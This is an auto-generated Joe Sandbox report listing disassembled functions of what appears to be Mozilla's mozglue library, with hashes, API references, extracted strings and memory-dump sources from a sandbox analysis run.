Instruction ID: d1f083ee91d4eed769a142b401634bd7704411fdb2ff086122ebc0e5d53a1faa
Opcode Fuzzy Hash: ed85c2e2a326f046f24a6980f8ed0be944f4715a7dfb522413a2557389c1b5b9
Instruction Fuzzy Hash: CE726D72A15611CFD704CF28C980615FBE5BF85328F29C76DE8A99B7A1D335E841CB82

Function 6CDCC0E0 Relevance: 13.0, APIs: 4, Strings: 3, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6CDCC317
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDCD793
MOZ_CRASH(), xrefs: 6CDCD4BB

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw
API String ID: 0-255794299
Opcode ID: ae12af2f0648a9550df290851d05a306421e8665078164cf574a31cb756dc2ec
Instruction ID: f60b601a70ba1ae9b5b6e57eef0a01a7d7a9142656d300a28cd22fce570139d8
Opcode Fuzzy Hash: ae12af2f0648a9550df290851d05a306421e8665078164cf574a31cb756dc2ec
Instruction Fuzzy Hash: 9E52AC70749341CFD724CF18C85076AB7FAABC6318F24891EEAD687BA1D73598468B43

Function 6CDF2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CDF2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CDF2C61

Part of subcall function 6CDA4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CDA4E5A
Part of subcall function 6CDA4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CDA4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDF2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CDF2E2D

Part of subcall function 6CDB81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CDB81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CDF2E3B
(root), xrefs: 6CDF354F
expected a Time entry, xrefs: 6CDF2E36

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 004d11687c14b85f06cd835bc0e86361916729f33f01966fe0d057ba356fc75f
Instruction ID: 7ff3c3cd7dbf331b29da0f7766d7b548346ef2bb668a7930aa5ad6af44e2b0b4
Opcode Fuzzy Hash: 004d11687c14b85f06cd835bc0e86361916729f33f01966fe0d057ba356fc75f
Instruction Fuzzy Hash: F691AF706087808FC724DF24C49569EB7F1BF89358F11491DE9AA8B760DB34D94ACBA2

Function 6CDABEF0 Relevance: 11.2, APIs: 5, Strings: 1, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CDAC1CB
__aulldiv.LIBCMT ref: 6CDAC24C
__aulldiv.LIBCMT ref: 6CDAC348
__aullrem.LIBCMT ref: 6CDAC365
__aulldiv.LIBCMT ref: 6CDAC37D

Strings

WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDABF11, 6CDABF1C

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID: WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 2022606265-4197491586
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: b503af756305cea8d2a9af4e5ca61d816d69545b2c442910d708c74ee7378014
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: AA322532B046118FC718DF6CC890656BBE6AFC9320F09866DE895CB3A5D735ED06CB91

Function 6CE09E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CE09F3D
__aulldiv.LIBCMT ref: 6CE09F77
__aullrem.LIBCMT ref: 6CE09F8C
__aulldiv.LIBCMT ref: 6CE0A023

Strings

NaN, xrefs: 6CE09EAB
-Infinity, xrefs: 6CE09E60, 6CE09E7B

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 76d637b06fd2ac69dc3f7d2914700a66904c917e93bd058228784d2aa8eebda6
Instruction ID: b2d2d8e76b7cb1f2fc1d1119b28507ba23ac4da893682bce2a344bf8b7c1490e
Opcode Fuzzy Hash: 76d637b06fd2ac69dc3f7d2914700a66904c917e93bd058228784d2aa8eebda6
Instruction Fuzzy Hash: A0C1BE71F443198BDB14CFA8C8907AEB7B6EB84308F24452DD406ABB80D770A95ACBD1

Function 6CDAD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6CDAD7DD
, xrefs: 6CDADA88
8, xrefs: 6CDADC08
@, xrefs: 6CDADAF6
0, xrefs: 6CDADC7F
9, xrefs: 6CDADE7F
1, xrefs: 6CDADBDD
0, xrefs: 6CDAD852

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: da3da0dbca886a88ab1d3dfcafc944c0d24f23cc0933730ef37009181a82c8a2
Instruction ID: 4f5c0180aa44369493fc5a52426267d528c1ee411e38e7e86667d7f077b82e37
Opcode Fuzzy Hash: da3da0dbca886a88ab1d3dfcafc944c0d24f23cc0933730ef37009181a82c8a2
Instruction Fuzzy Hash: 3B628C7150D385CFD705CFA8C09075ABBF2AF86358F184A1DE8E54BAA1D335D986CB82

Function 6CDC8850 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 1567COMMON

Download Yara Rule

Strings

N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDC886E
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDC9172
WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDC8869, 6CDC933B
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDC9813, 6CDC985D, 6CDC9878, 6CDC9CEB
MOZ_CRASH(), xrefs: 6CDC97EA

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 0-38926795
Opcode ID: 532648b4276126f6c06102c83ca94f609157e3818854cc1cc6fbb2a7997ed8a7
Instruction ID: d1f43e81d5bfb35f86370368af29b34e4daa0bc3bea96d4797c1b427b2221cfb
Opcode Fuzzy Hash: 532648b4276126f6c06102c83ca94f609157e3818854cc1cc6fbb2a7997ed8a7
Instruction Fuzzy Hash: 82D26B71B15601CFD718CF18C590715FBE6BF85328B29C76DE8AA8B6A5C731E841CB82

Function 6CDB9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6CDBA100
@, xrefs: 6CDBA625
' , xrefs: 6CDBA3D8
9, xrefs: 6CDBA5D6
0, xrefs: 6CDBAB22
1, xrefs: 6CDBA824

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 3e9fc7dd85bf08c21bef956e14c894683bef419821996373f34642c45567dfd2
Instruction ID: ec48163484ba67a3f23e4ad723131676e4174ee12682f2858f67d5dd394b1047
Opcode Fuzzy Hash: 3e9fc7dd85bf08c21bef956e14c894683bef419821996373f34642c45567dfd2
Instruction Fuzzy Hash: 5282C1F1909311DBD711CF09C08026EB7F1EB85758F55892EE8DF67AA4D335A886CB82

Function 6CDC4640 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CDC4777

Strings

N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDC4746
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDC474F, 6CDC4797, 6CDC479E
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDC5585, 6CDC55A8, 6CDC55C3, 6CDC5624

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw
API String ID: 4275171209-505251067
Opcode ID: 79a370b0ecf322324af175295c049cd204b6a6cdd36c207d83ff523b31738c2d
Instruction ID: bf94e197471ccdb2f0e2264ddbcb643fd2f99a1b0a0340c116f4f9454e83dc90
Opcode Fuzzy Hash: 79a370b0ecf322324af175295c049cd204b6a6cdd36c207d83ff523b31738c2d
Instruction Fuzzy Hash: C1B27C71B15601CFD308CF18C590625FBE6BFC5328B29C7ADE4698B6A5D771E841CB82

Function 6CE1545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CE18A4B

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 53537617a057394c9698db4543330c04f1cc800360f2bba9646c7dae838dd0fc
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 8AB10A72E0521A8FDB24CF68CC907E9B7B2EF85314F2902A9C449DBB81D7309995CB91

Function 6CE1542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CE188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CE1925C

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 44540f300689ecb5c3a2abeca767fd9f37eaae240c913bf75f1fab5e1334f786
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: B1B1C672E0520A8BDB24CF58CC816EDB7B2AF85314F290279C549DBB85D730A999CB90

Function 6CE150C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE18E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CE1925C

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 2acd5218b8f22ead3ad730e161be2dacf628ab25dfb0cb396f54831e68567100
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 79A1D872E052168FCB14CF58CC8079DB7B2AF95314F2502BAC949DBB45D730A999CB90

Function 6CDF77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDF7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CDF7A93

Part of subcall function 6CDC5C50: GetTickCount64.KERNEL32 ref: 6CDC5D40
Part of subcall function 6CDC5C50: EnterCriticalSection.KERNEL32(6CE2F688), ref: 6CDC5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CDF7AA1

Part of subcall function 6CDC5C50: __aulldiv.LIBCMT ref: 6CDC5DB4
Part of subcall function 6CDC5C50: LeaveCriticalSection.KERNEL32(6CE2F688), ref: 6CDC5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CDF7B31

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 77fd5c92cd2e48e252912a1811e36e6540d47fa2624f070ed9d427cba6a52369
Instruction ID: aec2a54725a6983536446a8c1ce604a253dd3776de7cc57a5675e400001f7f7b
Opcode Fuzzy Hash: 77fd5c92cd2e48e252912a1811e36e6540d47fa2624f070ed9d427cba6a52369
Instruction Fuzzy Hash: 07B16E356083849BCB15CF24C4506AFB7E2BBC5318F174A1CE9A5677A1D770E90BCB92

Function 6CE085F0 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE08C7C
__aulldiv.LIBCMT ref: 6CE08DD7

Strings

WdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiT, xrefs: 6CE08778, 6CE08A30

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: WdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiT
API String ID: 3732870572-1108331833
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 826fcb6b5b13ff1c113fa98d6b839c26d7060d3af4138bba846ab5fcb0b2516a
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 85327031F011198BDF18CE9CC8A17AEB7B6FB88300F26853AD506BB794DA349D558BD1

Function 6CDE6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CDE6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDE6E1E

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity
